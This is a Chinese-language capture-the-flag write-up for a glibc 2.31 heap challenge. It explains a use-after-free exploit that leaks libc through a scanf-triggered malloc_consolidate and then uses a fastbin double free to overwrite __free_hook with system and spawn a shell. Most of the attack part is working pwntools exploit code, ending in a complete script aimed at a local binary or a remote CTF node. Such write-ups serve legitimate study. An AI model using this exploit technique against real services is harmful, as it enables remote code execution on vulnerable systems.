前言
根据题目所给的libc-2.31.so确定libc版本
1
| strings ./libc-2.31.so | grep ubuntu
|
glibc–all-in-one如果没有的话,就从ubuntu launchpad上下载
1
| https://blueprints.launchpad.net/ubuntu/+source/glibc/2.31-0ubuntu9.9/+build/23546070
|
上面的是带有debug符号表的,下面的是源码。
patchelf后pwndbg加载对应符号表
前面ab是指debug下的ab文件夹,后面的是debug文件,用pwndbg直接加载即可
1
| add-symbol-file /home/zhuyuan/libcs/2.31-0-9.9/sym/usr/lib/debug/.build-id/ab/9302212dbf9aa238be80d83b3f64a135af9ca7.debug
|
这样就相当于加载了libc–2.31.so的符号表了。
程序分析
三个功能,没有edit功能,只有malloc和free。
漏洞点
存在UAF漏洞
攻击思路
在libc-2.31.so版本中tcachebin中的bk位置添加了一个key,这个key是堆区的第一个chunk的data指针,这个key是为了防止tcachebin的double_free的。
首先需要泄露libc地址,可以利用scanf长输入导致调用malloc触发malloc_consolidate,这样剩余的fastbins中的chunk就会被合并放到smallbin或者largebins中。
泄露之后通过fastbin_double_free劫持free_hook即可。
首先创建对应的堆块
1 2 3 4
| for i in range(11): add(i,0x60,'a')
add(11,0x10,'/bin/sh\x00')
|
chunk11是为了防止合并top_chunk,并且最后劫持完free_hook后需要利用这个chunk11上的’/bin/sh\x00’触发system(‘/bin/sh\x00’)
1 2
| for i in range(10): delete(i)
|
接着释放前十个堆块,前7个会进入到tcachebin中,三个会进入到fastbins中。
1 2 3 4 5 6 7 8 9 10 11 12
| rl(">") sl('1'*0x10001) show(7)
libc_leak = uu64() lg("libc_leak",libc_leak)
libc_base = libc_leak - 0x1ecb80-0x1a0 lg("libc_base",libc_base) malloc_hook = libc_base+libc.sym['__malloc_hook'] free_hook = libc_base + libc.sym['__free_hook'] system = libc_base+libc.sym['system']
|
接下来利用scanf输入过长字符串就会触发malloc_consolidate。这样fastbins中的三个chunk就会合并到smallbin中。
1
| add(12,0xff,p64(0)*13+p64(0xe1)+p64(0)*13+p64(0x71)+p64(0)*2)
|
此时,申请一个0xff大小的chunk,就会分配给0x110大小的chunk,接着将double_free1的data区域的key清空,这样方便利用double_free。
1 2 3
| delete(9) delete(10) delete(9)
|
因为存在UAF,所以double_free1和double_free2就能配合利用double_free了。
接下来就是正常的流程给劫持free_hook,因为存在tcachebin,所以要先将tcachebins的chunk全部申请出来
1 2
| for i in range(7): add(i,0x60,'a')
|
1
| add(7,0x60,p64(free_hook))
|
此时tcachebins中没有chunk,如果申请一个0x60大小的堆块(即size为0x70),那么此时就会触发malloc_consolidate,fastbins剩余的chunk会全部进入到tcachebins中。
tcachebins不会检查next指针指向的chunk是否合法。所以不需要伪造size,并且next指向的是data
1 2 3
| add(8,0x60,'a') add(9,0x60,'a') add(10,0x60,p64(system))
|
接下来申请三次chunk,即可申请到free_hook区域,修改为system即可。
然后再free掉保存着’/bin/sh\x00’的chunk即可getshell。
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import* import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux","splitw","-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('node5.anna.nssctf.cn', 28319) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num)) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')) l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, '\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, '\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc-2.31.so') def add(index,size,content): rl(">") sl('1') rl("Index: ") sl(str(index)) rl("Size: ") sl(str(size)) rl("Content: ") sl(content)
def show(index): rl(">") sl('3') rl("Index: ") sl(str(index)) def delete(index): rl(">") sl('2') rl("Index: ") sl(str(index))
gdb.attach(p) for i in range(11): add(i,0x60,'a')
add(11,0x10,'/bin/sh\x00')
for i in range(10): delete(i)
rl(">") sl('1'*0x10001) show(7)
libc_leak = uu64() lg("libc_leak",libc_leak)
libc_base = libc_leak - 0x1ecb80-0x1a0 lg("libc_base",libc_base) malloc_hook = libc_base+libc.sym['__malloc_hook'] free_hook = libc_base + libc.sym['__free_hook'] system = libc_base+libc.sym['system']
add(12,0xff,p64(0)*13+p64(0xe1)+p64(0)*13+p64(0x71)+p64(0)*2)
delete(9) delete(10) delete(9)
for i in range(7): add(i,0x60,'a')
add(7,0x60,p64(free_hook))
add(8,0x60,'a') add(9,0x60,'a') onegadget = [0xe3afe,0xe3b01,0xe3b04] add(10,0x60,p64(system))
delete(11) inter()
|